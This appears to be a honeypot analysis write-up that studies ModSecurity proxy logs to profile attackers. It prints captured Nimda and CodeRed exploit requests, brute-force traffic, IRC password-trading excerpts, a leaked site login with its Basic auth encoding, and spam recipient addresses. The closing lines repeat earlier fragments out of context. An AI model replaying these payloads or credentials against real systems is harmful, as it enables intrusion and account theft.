o Not enough bytes. UTF-8 supports two, three, four, five, and six byte encodings. ModSecurity will locate cases when a byte or more is missing.

o Invalid encoding. The two most significant bits in most characters are supposed to be fixed to 0x80. Attackers can use this to subvert Unicode decoders.

o Overlong characters. ASCII characters are mapped directly into the Unicode space and are thus represented with a single byte. However, most ASCII characters can also be encoded with two, three, four, five, and six characters thus tricking the decoder into thinking that the character is something else (and, presumably, avoiding the security check).

· SecFilterForceByteRange - Byte range check

You can force requests to consist only of bytes from a certain byte range. This can be useful to avoid stack overflow attacks (since they usually contain "random" binary content). To only allow bytes from 32 to 126 (inclusive), use the following directive: SecFilterForceByteRange 32 126 Default range values are 0 and 255, i.e. all byte values are allowed.

The following diagram shows a portion of the ASCII Chart which list each of the entries from 0 – 143:

The full ASCII chart is located here - http://i-technica.com/whitestuff/asciichart.html.

When these three encoding checks are combined, they are able to identify a large number of attacks/problems. Below are a few examples:

SOCKS Proxy Scan: This is the same request as discussed above in the proxy section. Notice that the mod_security audit_log decodes the “\x04\x04” data into its “^D^A” form.

# grep 203.121.182.190 access_log | head -1

203.121.182.190 - - [09/Mar/2004:22:07:16 -0500] "\x04\x01" 501 - "-" "-"

# egrep -B1 -A7 "22:07:16" audit_log

========================================

Request: 203.121.182.190 - - [Tue Mar 9 22:07:16 2004] "^D^A" 501 0

Handler: (null)

Error: mod_security: Invalid character detected [4]

----------------------------------------

^D^A

HTTP/0.9 (null)

========================================

CodeRed/NIMDA Worm Attacks: Both of these worms used abnormal encoding to execute their attacks. CodeRed used binary encoding and NIMDA used double-unicode encoding. Below are two examples:

# egrep -C10 "Invalid character detected" audit_log |less

========================================

Request: 68.48.142.117 - - [Tue Mar 9 22:41:34 2004] "GET /msadc/..%255c../..%255c../..%2

55c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 566

Handler: (null)

Error: mod_security: Invalid character detected [193]

----------------------------------------

GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd

.exe?/c+dir HTTP/1.0

Connnection: close

Host: www

mod_security-message: Invalid character detected

mod_security-action: 200

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=iso-8859-1

========================================

# egrep -B1 -A15 'default.ida' audit_log |less

========================================

Request: 68.48.205.207 - - [Wed Mar 10 19:14:37 2004] "GET /default.ida?XXXXXXXXXXXXXXXXXX

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

XXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucb

d3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 200 5

Handler: (null)

Error: mod_security: Invalid URL encoding #2 detected.

----------------------------------------

GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u909

0%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53f

f%u0078%u0000%u00=a HTTP/1.0

Content-length: 3379

Content-type: text/xml

mod_security-message: Invalid character detected

mod_security-action: 200

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=iso-8859-1

========================================

In both cases, the worms were trying to trick the URL decoding mechanisms on the web server in order to get it to execute some code.

7. Several attackers tried to send SPAM by accessing the following URL - http://mail.sina.com.cn/cgi-bin/sendmsg.cgi. They tried to send email with an html attachment (files listed in the /upload directory). What does the SPAM webpage say? Who are the SPAM recipients?

Answer: The html web pages that were captured in the “/upload” directory are written in Chinese. In order to read the html file, I decided to upload the file to my own honeypot web site - http://honeypots.sourceforge.net/20040313-174514-68.41.205.235-GoodMornding.htm. I then used an online web translator to translate the Chinese into English. A portion of the web page is shown below:

SPAM Recipients: By reviewing the audit_log data for these POST requests, we can identify the targeted SPAM recipients by inspecting the MIME header data in the file upload data:

# egrep -B30 "GoodMornding.htm" audit_log

botaizao489@163.com

-----------------------------707d42d23ce5f

Content-Disposition: form-data; name="cc"

shuchangjun@sina.com,shuchangjy123@sina.com,shuchanglove520@sina.com,shuchangly@sina.com,shuchangrz@

sina.com,shuchangsc_7@sina.com,shuchangsheng.student@sina.com,shuchangstar@sina.com,shuchangwei@sina.

com,shuchangwen@sina.com,shuchangwwww@sina.com,shuchangyin@sina.com

-----------------------------707d42d23ce5f

Content-Disposition: form-data; name="bcc"

-----------------------------707d42d23ce5f

Content-Disposition: form-data; name="subj"

µÍÍ·Ë¼¹ÊÓÑ

-----------------------------707d42d23ce5f

Content-Disposition: form-data; name="htel"

-----------------------------707d42d23ce5f

Content-Disposition: form-data; name="htelmsg"

bianpian2@sina.com

-----------------------------707d42d23ce5f

Content-Disposition: form-data; name="msgtxt"

Õâ¼¸Æª¾«²ÊµÄÎÄÕÂ£¬ÊÇÀ´×ÔÔ¶·½ÅóÓÑµÄÇ×ÇÐÎÊºò, µã.dd.»÷.ee.´ò.ff.¿ª.

emakcy »Ø==¸´ : dangchou793@yahoo.com

mzA ghx o1 G4n5l

-----------------------------707d42d23ce5f

Content-Disposition: form-data; name="atth1"; filename="GoodMornding.htm"

The bolded section above entitled – name=”cc”, lists the recipients of this SPAM email.

8. Provide some high level statistics on attackers such as:

Top Ten Attacker IP Addresses – cat access_log | awk '{print $1}' | sort | uniq -c | sort -rn | head –10

Example Requests for each IP - for f in `cat access_log | awk '{print $1}' | sort | uniq -c | sort -rn | head -10 | awk '{print $2}'`; do grep $f access_log | head –1 ; done

Order	Request #	IP Address	Example Request	Comment
1	9763	67.83.151.132	HEAD http://www.sun.com/	Checking SUN Website
2	8349	217.160.165.173	GET / HTTP/1.0	Start of Nessus Scan
3	6865	195.16.40.200	CONNECT login.icq.com:443	Trying to connect to ICQ
4	5967	68.82.168.149	GET http://www.nikkisplayground.com/fanclub/index.htm	Brute Forcing Porn Site
5	4290	81.171.1.165	GET http://www.glocksoft.net/cgi-bin/jenv.cgi	Checking Proxy Env
6	3245	61.144.119.66	GET http://www.samair.ru/proxy/proxychecker/results.htm	Checking Proxy Env
7	2984	68.189.213.50	HEAD http://www.sun.com/	Checking SUN Website
8	2923	61.249.170.159	GET http://hpcgi1.nifty.com/trino/ProxyJ/prxjdg.cgi	Checking Proxy ENV
9	2907	61.177.91.33	GET http://www.chinaarp.com/	Banner Fraud
10	2831	217.162.108.28	HEAD http://www.shanesworld.com/members	Brute Forcing Port Site

Top Ten Targets: Command used - cat access_log | awk '{print $7}' | sort | uniq -c | sort -rn | head –10

Order	Request #	URL	Comment
1	10928	login.icq.com:443	Connect to ICQ
2	4898	www.firmhandspanking.com/members/index.htm	Brute Force Porn Site
3	3859	www.cnpick.com/show.asp?id=18647	Banner Fraud
4	1575	www.sun.com	Checking SUN Website
5	1282	hpcgi1.nifty.com/trino/ProxyJ/prxjdg.cgi	Checking Proxy ENV
6	833	members.streetblowjobs.com/	Brute Force Porn Site
7	821	www.meninpain.com/members/	Brute Force Porn Site
8	820	www.realfuckingcouples.com/members/	Brute Force Porn Site
9	817	www.busty-teens.org/members/main.htm	Brute Force Porn Site
10	711	www.crookedpanties.com/members/	Brute Force Porn Site

Top User-Agents (Any weird/fake agent strings?): Interesting/weird entries –

Number of Requests	User-Agent Info	Comment
79	MSIE<81>iMicrosoftRInternetExplo<82><92>er<81>j	Binary Data Present in String
55	fork()	Perhaps some botched script code
45	Borg/4.3.5	You Will Be Assimilated
10	pxyscand/2.0	Proxy Scanner App
8	MLDonkey 2.5-12	Peer to Peer Client
6	Anonymizied by Steganos Internet Anonym	Browser Plug-In for Security
5	Space Bison/0.02 [fu] (Win67; X; SK)	Browser Plug-In – Pop-Up Blocker
4	Unknown	???
4	Nessus	Nessus Vulnerability Scanner
2	You lose !	Rough Talk!

Attacker correlation from DShield and other sources?

If Dshield has data in the “Total Records against IP” field, then this client has been up to not good since other people have reported the IP due to abuse. Two out of the Top Ten Attackers were listed in Dshield –

· 195.16.40.200 - http://www.dshield.org/ipinfo.php?ip=195.16.40.200&Submit=Submit

DShield Profile:

Country:	RU
Contact E-mail:	[no email]
AS Number:	8350
Total Records against IP:	45
Number of targets:	2
Date Range:	2004-04-22 to 2004-04-22

Update Summary

· 61.144.119.66 - http://www.dshield.org/ipinfo.php?ip=61.144.119.66&Submit=Submit

DShield Profile:

Country:	CN
Contact E-mail:	anti-spam@ns.chinanet.cn.net
AS Number:	4813
Total Records against IP:	11
Number of targets:	5
Date Range:	2004-04-27 to 2004-04-27

Update Summary

Bonus Question:

Why do you think the attackers were targeting pornography websites for brute force attacks? (Besides the obvious physical gratification scenarios :)

Answer: There are a number of reasons why attackers target Porn sites:

Credit Card Data: Porn sites use credit cards for payment and age verification. This data makes these site a ripe target.

User Credentials As Currency: Once user credentials have been verified as valid, they then have value. Attackers can then used these credentials as currency to barter and trade with others. How do I know this? I noticed that many of the same clients who were conducting brute force attacks against port sites, were also using the HTTP CONNECT Method to join IRC channels.

Brute Force Attack –

217.229.136.208 - - [10/Mar/2004:11:54:20 -0500] "HEAD http://members.bignaturals.com/ HTTP/1.0" 200 0 "http://members.bignaturals.com/" "Mozilla/4.6 ( compatible; MSIE 5.01; Windows XP; athome020 )"

IRC Connection –

217.229.136.208 - - [10/Mar/2004:03:38:42 -0500] "CONNECT efnet.xs4all.nl:6667 HTTP/1.0" 2

00 - "-" "-"

I decided to monitor the IRC communication going through the proxypot by running tcpdump in binary capture mode and then used Honeynet Project’s Privmsg.pl script - http://www.honeynet.org/tools/danalysis/privmsg - to extract the data. The attackers joined a channel called, appropriately enough, #xxxpasswords.

· They were trading the porn site credentials like baseball cards

· Below are excerpts from the IRC log file:

// PRIVMSG colorized irc sniffer, Max Vision http://whitehats.com/

--CUT—

#xxxpasswords avs!~avs@dhcp074211.res-hall.northwestern.edu looking for ugas platinum or mancheck, plz anyone help! and let me know if you need anything! ;)

--CUT—

#xxxpasswords Wsted!sharky@CPE00045a77e8b4-CM014480011704.cpe.net.cable.rogers.com hi everyone

#xxxpasswords Wsted!sharky@CPE00045a77e8b4-CM014480011704.cpe.net.cable.rogers.com Request http://www.lfpcontent.com/hustler please & thx

--CUT

#xxxpasswords BEN__!~zzz@200.151.71.96 any can help me out with ifriends?

--CUT—

#xxxpasswords Wapete17!Krazyinluv@dialup-67.30.48.82.Dial1.Dallas1.Level3.net anyone trading gay passwords?

In the xxxpasswords channel, the attackers were using automated channel commands to verify the credentials they submit

· ??PassCount

· ??level

· ??spoofer

· ??post

· ??multinet

· ??crossposting

These commands will run a bot program to submit username/password info to the specified web site in order to verify the credentials. Below are some excerpts from the IRC log file -

// PRIVMSG colorized irc sniffer, Max Vision http://whitehats.com/

--CUT—

#xxxpasswords zima-und!reddog@zima.is.h0.ly ??PassCount

#xxxpasswords zima-und!reddog@zima.is.h0.ly ??level

#xxxpasswords ^Zima^!jfk@bzq-218-213-115.red.bezeqint.net -15|14( 9,1 XP 14)15|-Congratulations ShadwDrgn! Your sites: [XP175808] 14(level 6) [XP175809] 14(level 6) [XP175810] 14(level 6) [XP175811] 14(level 6) [XP175812] 14(level 6) were verified!

#xxxpasswords zima-und!reddog@zima.is.h0.ly ??spoofer

#xxxpasswords ^Zima^!jfk@bzq-218-213-115.red.bezeqint.net -15|14( 9,1 XP 14)15|-Freebie site with the compliments of XXXPasswords /// [12XP17759]:3 HTTP://www.x-nudism.com/main/in/ L:4 xona09 P:4 secure09

The last bolded entry shows that there is a “Freebie site” and it provides the authentication credentials – username = xona09 and password = secure09. Below is the corresponding proxypot audit_log entry when the IRC bot verified these credentials:

========================================

Request: 66.20.87.249 - - [Fri Mar 12 19:30:15 2004] "HEAD http://x-nudism.com/main/in/index.htm HTTP/1.0" 200 0

Handler: proxy-server

Error: mod_security: pausing [http://x-nudism.com/main/in/index.htm] for 50000 ms

----------------------------------------

HEAD http://x-nudism.com/main/in/index.htm HTTP/1.0

Accept: */*

Accept-Language: en-us,en;q=0.5

Authorization: Basic eG9uYTA5OnNlY3VyZTA5

Host: x-nudism.com

Pragma: no-cache

Referer: http://x-nudism.com/main/in/index.htm

User-Agent: Mozilla/4.73 ( compatible; MSIE 4.0; Windows 98; DigiExt )

mod_security-message: Access denied with code 200. Pattern match "Basic" at HEADER.

mod_security-action: 200

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=iso-8859-1

========================================

Even though the proxypot's IP/Hostname was obfuscated from the logs, can you still determine the probable network block owner?

Answer: There are two different possibilities:

IP Address in Cookie: In order to try and protect the IP address of the proxypot in the SoTM logs, I conducted numerous text anonymization steps using common unix commands such as sed. I wanted to make sure that the proxypot’s IP address in logs was obfuscated to 192.168.1.103. Well, I should have tried some more “fuzzy logic” search/replace steps because I missed one cookie that has the proxypot’s IP address in it J! In the cookie, the “.” separator is URL Encoded to “%2E”.

========================================

Request: 218.93.58.133 - - [Sat Mar 13 04:38:00 2004] "GET

http://s13.sitemeter.com/js/counter.asp?site=s13firstzoneresult

HTTP/1.0" 200 1938

Handler: proxy-server

----------------------------------------

GET http://s13.sitemeter.com/js/counter.asp?site=

s13firstzoneresult HTTP/1.0

Accept: */*

Accept-Language: en-us

--CUT—

HTTP/1.0 200 OK

Warning: Subject to Monitoring

Set-Cookie: IP=68%2E48%2E106%2E109; path=/js

X-Cache: MISS from www.testproxy.net

========================================

Propagation Mechanisms of Worms (Target IP Selection): Nimda and Code Red propagate primarily by targeting IP addresses in similar ranges. Over 75% of the targeted IP addresses are similar to the infected host’s address, and less than 25% are randomly selected. For example, an infected host with an address of 24.128.1.1 will target hosts with addresses of 24.*.*.* and/or 24.128.*.*. The rationale is to distribute the propagation effort among as many hosts as possible and prevent overlapping efforts---this enables the worm to spread quickly throughout the entire Internet. An example NIMDA worm request is below –

68.48.142.117 - - [09/Mar/2004:22:22:57 -0500] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 566 "-" "-“

We can then take this IP address and run a WHOIS to verify the Network Block Owner: Comcast Cable, Inc.

# nslookup 68.48.142.117 | tail -3

Name: pcp01791418pcs.hyatsv01.md.comcast.net

Address: 68.48.142.117

# whois 68.48.142.117

Comcast Cable Communications, Inc. JUMPSTART-1 (NET-68-32-0-0-1)

68.32.0.0 - 68.63.255.255

Comcast Cable Communications, Inc. DC-3 (NET-68-48-0-0-1)

68.48.0.0 - 68.49.255.255

# ARIN WHOIS database, last updated 2004-05-11 19:15

# Enter ? for additional hints on searching ARIN's WHOIS database.

Search Command: The command string below will accomplish the search logic from above.

HEAD http://www.yahoo.com HTTP/1.0

HTTP/1.1 200 OK

User-Agent: ProxyChains 1.8

User-Agent: ProxyChains 1.8

Authorization: Basic NjlhMHo5YWc6a281NmFqNg==

Error: mod_security: Invalid character detected [4]

Error: mod_security: Invalid character detected [193]

Content-Disposition: form-data; name="atth1"; filename="GoodMornding.htm"

Order

Request #

IP Address

Example Request

Comment

Order

Request #

URL

Comment

Brute Force Attack –

217.229.136.208 - - [10/Mar/2004:11:54:20 -0500] "HEAD http://members.bignaturals.com/ HTTP/1.0" 200 0 "http://members.bignaturals.com/" "Mozilla/4.6 ( compatible; MSIE 5.01; Windows XP; athome020 )"

IRC Connection –

217.229.136.208 - - [10/Mar/2004:03:38:42 -0500] "CONNECT efnet.xs4all.nl:6667 HTTP/1.0" 2

00 - "-" "-"

// PRIVMSG colorized irc sniffer, Max Vision http://whitehats.com/

// PRIVMSG colorized irc sniffer, Max Vision http://whitehats.com/